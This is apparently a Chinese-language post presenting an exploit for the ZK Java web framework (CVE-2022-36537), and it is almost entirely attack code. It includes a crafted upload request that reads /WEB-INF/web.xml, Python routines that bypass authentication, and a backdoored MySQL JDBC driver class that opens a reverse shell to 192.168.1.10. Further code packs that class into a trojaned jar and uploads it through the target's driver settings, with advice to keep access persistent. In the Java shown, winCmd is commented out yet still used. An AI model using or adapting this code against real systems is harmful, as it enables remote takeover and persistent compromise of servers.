Javaweb框架ZK CVE-2022-36537漏洞分析附exp

POST /zkau/upload?uuid=101010&dtid=z_h7y&sid=0&maxsize=-1 HTTP/1.1Host: 10.211.55.6User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36ZK-SID: 3181Accept: */*Origin: http://10.211.55.6Referer: http://10.211.55.6/login.zulAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8Connection: closeCookie:JSESSIONID=986150E63DB473A50F546481080F18CCContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryJ7idG4OgW5iZREBGContent-Length: 154
------WebKitFormBoundaryJ7idG4OgW5iZREBGContent-Disposition: form-data; name="nextURI"
/WEB-INF/web.xml------WebKitFormBoundaryJ7idG4OgW5iZREBG--

# https://chromedriver.storage.googleapis.com/index.html?path=107.0.5304.62/def bypass_auth1(target):    warnings.warn("Discard. The bypass auch2 function is simpler to obtain dtid and cookies.", DeprecationWarning)    rprint("[italic green][*] Bypass authentication.")    try:        opt = webdriver.ChromeOptions()        opt.add_argument('--headless')        opt.add_argument('--ignore-certificate-errors')        driver = webdriver.Chrome(executable_path='./chromedriver', options=opt)        driver.get(target)        cookie_str = "JSESSIONID=" + driver.get_cookie("JSESSIONID")['value']        dtid = driver.execute_script("""            for (var dtid in zk.Desktop.all)            return dtid        """)        return dtid, cookie_str    except Exception as e:        rprint("[italic red][-] Bypass authentication failed. {0}".format(e))        exit()

def bypass_auth2(target):    rprint("[italic green][*] Bypass authentication.")    uri = "{0}/login.zul".format(target)    try:        result = requests.get(url=uri, timeout=3, verify=False, proxies=proxy)        cookie_str = result.headers['Set-Cookie'].split(";")[0]        r = u"dt:'(.*?)',cu:"        regex = re.compile(r)        dtid = regex.findall(result.text)[0]        return dtid, cookie_str    except Exception as e:        rprint("[italic red][-] Bypass authentication failed. {0}".format(e))        exit()

package com.mysql.jdbc;
import java.sql.*;import java.util.*;import java.util.logging.Logger;
/*    author: Bearcat of www.numencyber.com    desc  : Mysql jdbc backdoor driver*/public class Driver implements java.sql.Driver {    static {        // String winCmd = "calc";        String linuxCmd = "bash -i >& /dev/tcp/192.168.1.10/2022 0>&1";
        String[] cmds = null;
        if (System.getProperty("os.name").toLowerCase().contains("win")) {            cmds = new String[]{"cmd.exe", "/c", winCmd};        } else {            cmds = new String[]{"/bin/bash", "-c", linuxCmd};        }
        try {            Runtime.getRuntime().exec(cmds);        } catch (Exception ignored) {            // do nothing...        }    }
 @Override    public Connection connect(String url, Properties info) throws SQLException {        return null;    }
    @Override    public boolean acceptsURL(String url) throws SQLException {        return false;    }
    @Override    public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException {        return new DriverPropertyInfo[0];    }
    @Override    public int getMajorVersion() {        return 0;    }
    @Override    public int getMinorVersion() {        return 0;    }
    @Override    public boolean jdbcCompliant() {        return false;    }
    @Override    public Logger getParentLogger() throws SQLFeatureNotSupportedException {        return null;    }}

def build_jdbc_backdoor():    rprint("[italic green][*] Compile java code.")    java_cmd = 'javac -source 1.5 -target 1.5 Driver.java'    popen = subprocess.Popen(java_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)    popen.stdout.read()
    tmp_path = 'jdbc_jar'    os.mkdir(tmp_path)    with zipfile.ZipFile('mysql-connector-java-5.1.48.jar', 'r', zipfile.ZIP_DEFLATED) as unzf:        unzf.extractall("jdbc_jar")        unzf.close()    os.remove('jdbc_jar/com/mysql/jdbc/Driver.class')    shutil.copy('Driver.class', 'jdbc_jar/com/mysql/jdbc/')
    with zipfile.ZipFile('jdbc_backdoor.jar', 'w', zipfile.ZIP_DEFLATED) as zf:        for root, dirs, files in os.walk(tmp_path):            relative_root = '' if root == tmp_path else root.replace(tmp_path, '') + os.sep            for filename in files:                zf.write(os.path.join(root, filename), relative_root + filename)        zf.close()    shutil.rmtree(tmp_path)
    rprint("[italic green][*] Build jdbc backdoor success.")

def forward_request(target, next_uri, cookie_str, uuid, dtid):    uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, uuid, dtid)    param = {"nextURI": (None, next_uri)}    headers = {"Cookie": cookie_str}    data = MultipartEncoder(param, boundary="----WebKitFormBoundaryCs6yB0zvpfSBbYEp")    headers["Content-Type"] = data.content_type    try:        result = requests.post(url=uri, headers=headers, data=data.to_string(), timeout=3, verify=False, proxies=proxy)        return result    except Exception as e:        rprint("[italic red][-] Forward request failed. {0}".format(e))        exit()
def deploy_jdbc_backdoor(target):    rprint(        "[italic red][!] The jdbc backdoor can only be deployed once, please make it persistent, such as rebounding the shell.")    play_again = input("Whether to continue? (y/n):").lower()    if play_again[0] != "y":        exit()    # get login_dtid    login_dtid, cookie_str = bypass_auth2(target)    rprint("[italic green][*] Start deploying the jdbc backdoor.")    build_jdbc_backdoor()    # database_dtid and mysql_driver_upload_button_id    uri = "/Configuration/database-drivers.zul"    result = forward_request(target, uri, cookie_str, "101010", login_dtid)    r1 = u"{dt:'(.*?)',cu:"    regex = re.compile(r1)    database_dtid = regex.findall(result.text)[0]    r1 = u"'zul.wgt.Button','(.*?)',"    regex = re.compile(r1)    mysql_driver_upload_button_id = regex.findall(result.text)[0]
    uri = "/zkau?dtid={0}&cmd_0=onClick&uuid_0={1}&data_0=%7B%22pageX%22%3A315%2C%22pageY%22%3A120%2C%22which%22%3A1%2C%22x%22%3A39%2C%22y%22%3A23%7D".format(        database_dtid, mysql_driver_upload_button_id)    result = forward_request(target, uri, cookie_str, "101010", login_dtid)
    # file_upload_dlg_id and file_upload_id    r1 = u"zul.fud.FileuploadDlg','(.*?)',"    regex = re.compile(r1)    file_upload_dlg_id = regex.findall(result.text)[0]
    r1 = u"zul.wgt.Fileupload','(.*?)',"    regex = re.compile(r1)    file_upload_id = regex.findall(result.text)[0]
    uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, file_upload_id, database_dtid)    upload_jdbc_backdoor(uri, cookie_str)
    uri = "/zkau?dtid={0}&cmd_0=onMove&opt_0=i&uuid_0={1}&data_0=%7B%22left%22%3A%22716px%22%2C%22top%22%3A%22100px%22%7D&cmd_1=onZIndex&opt_1=i&uuid_1={2}&data_1=%7B%22%22%3A1800%7D&cmd_2=updateResult&data_2=%7B%22contentId%22%3A%22z__ul_0%22%2C%22wid%22%3A%22{3}%22%2C%22sid%22%3A%220%22%7D".format(        database_dtid, file_upload_dlg_id, file_upload_dlg_id, file_upload_id)    forward_request(target, uri, cookie_str, "101010", login_dtid)
    uri = "/zkau?dtid={0}&cmd_0=onClose&uuid_0={1}&data_0=%7B%22%22%3Atrue%7D".format(database_dtid,                                                                                      file_upload_dlg_id)    forward_request(target, uri, cookie_str, "101010", login_dtid)
def upload_jdbc_backdoor(uri, cookie_str):    rprint("[italic green][*] Upload the database driver.")    headers = {"Cookie": cookie_str}    files = {'file': ('b.jar', open('jdbc_backdoor.jar', 'rb'), 'application/java-archive')}    try:        requests.post(uri, files=files, headers=headers, timeout=6, verify=False, proxies=proxy)    except Exception as e:        rprint("[italic red][-] Upload the database driver failed. {0}".format(e))        exit()